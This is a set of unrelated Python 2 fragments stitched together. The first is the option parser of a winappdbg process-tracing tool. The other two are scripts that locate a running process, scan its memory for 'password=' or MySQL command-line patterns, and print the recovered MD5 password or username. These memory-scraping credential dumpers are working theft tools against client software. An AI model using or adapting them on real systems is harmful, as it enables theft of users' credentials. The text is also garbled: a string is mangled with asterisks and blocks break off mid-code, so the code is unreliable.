WindowsError, e: print "Warning: call to TerminateProcess() failed: %s" % str(e) except WindowsError, e: print "Warning: call to OpenProcess() failed: %s" % str(e)
def parse_cmdline( argv ): # Help message and version string version = ( "Process execution tracer\n" "by Mario Vilas (mvilas at gmail.com)\n" "%s\n" ) % winappdbg.version usage = ( "\n" "\n" " Create a new process (parameters for the target must be escaped):\n" " %prog [options] -c <executable> [parameters for the target]\n" " %prog [options] -w <executable> [parameters for the target]\n" "\n" " Attach to a running process (by filename):\n" " %prog [options] -a <executable>\n" "\n" " Attach to a running process (by ID):\n" " %prog [options] -a <process id>" ) ## formatter = optparse.IndentedHelpFormatter() ## formatter = optparse.TitledHelpFormatter() parser = optparse.OptionParser( usage=usage, version=version, ## formatter=formatter, ) # Commands commands = optparse.OptionGroup(parser, "Commands") commands.add_option("-a", "--attach", action="append", type="string", metavar="PROCESS", help="Attach to a running process") commands.add_option("-w", "--windowed", action="callback", type="string", metavar="CMDLINE", callback=callback_execute_target, help="Create a new windowed process") commands.add_option("-c", "--console", action="callback", type="string", metavar="CMDLINE", callback=callback_execute_target, help="Create a new console process [default]") parser.add_option_group(commands) # Tracing options tracing = optparse.OptionGroup(parser, "Tracing options") tracing.add_option("--trace", action="store_const", const="trace", dest="mode", help="Set the single step mode [default]") if System.arch == win32.ARCH_I386: tracing.add_option("--branch", action="store_const", const="branch", dest="mode", help="Set the step-on-branch mode (doesn't work on virtual machines)") tracing.add_option("--syscall", action="store_const", const="syscall", dest="mode", help="Set the syscall trap mode") ## tracing.add_options("--module", action="append", metavar="MODULES", ## dest="modules", ## help="only trace into these modules (comma-separated)") ## debugging.add_option("--from-start", action="store_true", ## help="start tracing when the process is created [default]") ## debugging.add_option("--from-entry", action="store_true", ## help="start tracing when the entry point is reached") parser.add_option_group(tracing) # Debugging options debugging = optparse.OptionGroup(parser, "Debugging options") debugging.add_option("--autodetach", action="store_true", help="automatically detach from debugees on exit [default]") debugging.add_option("--follow", action="store_true", help="automatically attach to child processes [default]") debugging.add_option("--trusted", action="store_false", dest="hostile", help="treat debugees as trusted code [default]") debugging.add_option("--dont-autodetach", action="store_false", dest="autodetach", help="don't automatically detach from debugees on exit") debugging.add_option("--dont-follow", action="store_false", dest="follow", help="don't automatically attach to child processes") debugging.add_option("--hostile", action="store_true", help="treat debugees as hostile code") parser.add_option_group(debugging) # Defaults parser.set_defaults( autodetach = True, follow = True, hostile = False, windowed = list(), console = list(), attach = list(), ## modules = list(), mode = "trace", ) # Parse and validate the command line options if len(argv) == 1: argv = argv + [ '--help' ] (options, args) = parser.parse_args(argv) args = args[1:] if not options.windowed and not options.console and not options.attach: if not args: parser.error("missing target application(s)") options.console = [ args ] else: if args: parser.error("don't know what to do with extra parameters: %s" % args) # Get the list of attach targets system = System() system.request_debug_privileges() system.scan_processes() attach_targets = list() for token in options.attach: try: dwProcessId = HexInput.integer(token) except ValueError: dwProcessId = None if dwProcessId is not None: if not system.has_process(dwProcessId): parser.error("can't find process %d" % dwProcessId) try: process = Process(dwProcessId) process.open_handle() process.close_handle() except WindowsError, e: parser.error("can't open process %d: %s" % (dwProcessId, e)) attach_targets.append(dwProcessId) else: matched = system.find_processes_by_filename(token) if not matched: parser.error("can't find process %s" % token) for process, name in matched: dwProcessId = process.get_pid() try: process = Process(dwProcessId) process.open_handle() process.close_handle() except WindowsError, e: parser.error("can't open process %d: %s" % (dwProcessId, e)) attach_targets.append( process.get_pid() )
process_pid = 0 memory_dump = [] debug = Debug() try: print "[~] Searching for pid by process name '%s'.." % (filename) time.sleep(1) debug.system.scan_processes() for (process, process_name) in debug.system.find_processes_by_filename(filename): process_pid = process.get_pid() if process_pid is not 0: print "[+] Found process with pid #%d" % (process_pid) time.sleep(1) print "[~] Trying to read memory for pid #%d" % (process_pid) process = Process(process_pid) for address in process.search_bytes('\x0a\x70\x61\x73\x73\x77\x6f\x72\x64\x3d'): memory_dump.append(process.read(address,42)) for i in range(len(memory_dump)): password = memory_dump[i].split('password='******'': found = 1 print "[+] Credentials found!\r\n----------------------------------------" print "[+] MD5 Password: %s" % password if found == 0: print "[-] Credentials not found! Make sure the client is connected." else: print "[-] No process found with name '%s'." % (filename) debug.loop() finally:
memory_dump = [] passwd = [] debug = Debug() try: print "[~] Searching for pid by process name '%s'.." % (filename) time.sleep(1) debug.system.scan_processes() for (process, process_name) in debug.system.find_processes_by_filename(filename): process_pid = process.get_pid() if process_pid is not 0: print "[+] Found process pid #%d" % (process_pid) time.sleep(1) print "[~] Trying to read memory for pid #%d" % (process_pid) process = Process(process_pid) for address in process.search_bytes("\x00\x6D\x79\x73\x71\x6C\x00\x2D\x75\x00"): memory_dump.append(process.read(address, 30)) for i in range(len(memory_dump)): str = b2h(memory_dump[i]) first = str.split("00 6D 79 73 71 6C 00 2D 75 00 ")[1] last = first.split(" 00 2D 70") if last[0]: usr = h2b(last[0]) memory_dump = [] for address in process.search_bytes( "\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ): memory_dump.append(process.read(address, 100)) sorted(set(memory_dump))